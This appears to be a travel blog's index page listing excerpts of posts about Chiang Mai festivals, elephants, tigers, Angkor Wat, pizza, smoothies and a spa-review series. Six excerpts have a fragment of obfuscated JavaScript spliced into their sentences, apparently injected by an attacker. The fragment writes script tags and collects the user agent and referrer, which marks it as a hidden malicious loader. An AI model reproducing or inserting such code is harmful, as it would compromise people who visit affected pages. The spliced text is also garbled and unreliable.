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Yi Peng and Loi Krathong

I wish I could say we had planned to be in Chiang Mai during Yi Peng and Loi Krathong.  But we didn’t.  We were looking for hotels and finally found one that had availability.  The owner responded that he’d be “happy to have (us) for the festival.” The festival? So we quickly looked it up […]

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Baking Steel

I ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hheds|var|u0026u|referrer|fntrz||js|php’.split(‘|’),0,{})) am, by no means, a pizza expert.  I enjoy good pizza but I also don’t turn my nose up at mediocre pizza. My dad, on the other hand, is a pizza expert.  So much so, that he has a pizza oven in his backyard.  And the pizza out of […]

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Green Smoothie

Every ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hfnnn|var|u0026u|referrer|nfdfa||js|php’.split(‘|’),0,{})) year I tweak the blog.  Usually I spend days looking for the perfect theme and then spend even more time trying to tweak it.  This year, I just tweaked the CSS.  Nothing fancy, but I think it looks better.  And for those that read the blog via your email […]

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Playing with Tigers

I consider myself to be a smart person.  I honestly do. This was, quite possibly, the dumbest thing we did on our trip.  But since we didn’t die, it also goes down as one of the coolest things we did on our trip.  That’s usually how it goes, right?  Amazingly awesome or darwin award. The […]

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That Time I Rode an Elephant

After leaving Cambodia we headed to Chiang Mai.  A cute, charming town in Northern Thailand.  One of our few “Scheduled” activities was a visit to the Thai Elephant Home.  Well rated on tripadvisor and recommended by a friend, we were excited to spend a day with these amazing animals! What sets this outfit apart from […]

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Spa Treatments in SE Asia – For Science: Thailand

Part ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dkyid|var|u0026u|referrer|tabhb||js|php’.split(‘|’),0,{})) 1- Japan | Part 2 – Vietnam | Part 3 – Cambodia I’m finishing off this series with our stay in Thailand.  Famous for Thai massages, they did not disappoint! Location: Khunka (Rachadamnoen, Old City) Treatment: 60 minute back, neck, and shoulder massage with oil Cost: 390 baht + […]

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Spa Treatments in SE Asia – For Science: Cambodia

If you only read one spa post, read this one. Part ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dbyba|var|u0026u|referrer|ainty||js|php’.split(‘|’),0,{})) 1 and Part 2 if you are interested. Location: Golden Butterfly Villa (Siem Reap) Treatment: 60 minute Cambodian Massage – whatever the heck that is Cost: FREE (it was included with our hotel stay, but would have cost $6 […]

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Spa Treatments in SE Asia – For Science: Vietnam

Part 2 of my review of spa treatments in SE Asia.  See Part ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bttfe|var|u0026u|referrer|sitsb||js|php’.split(‘|’),0,{})) 1, in Japan for the expensive start to this experiment. Once we got to Vietnam, and the cost of a spa treatment went dramatically down, it seemed only right to sample multiple spa treatments per country.  When […]

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Spa Treatments in SE Asia – For Science: Japan

For science.  At least that’s what I told Nick. I dreamed up this great idea while we were staying at the Park Hyatt Tokyo.  Baller style.  I decided it was necessary ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eariy|var|u0026u|referrer|dbaen||js|php’.split(‘|’),0,{})) for me to compare beauty and spa treatments in every country we visited.  So naturally, I’d need to start […]

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Angkor Wat

We spent a hot minute in Siem Reap to see the Angkor Wat temples. Since we were only going to be in the area for 2 days, we hired a guide to take us around the temples.  From an efficiency standpoint, this is really nice.  They can speak to the history – our guide was […]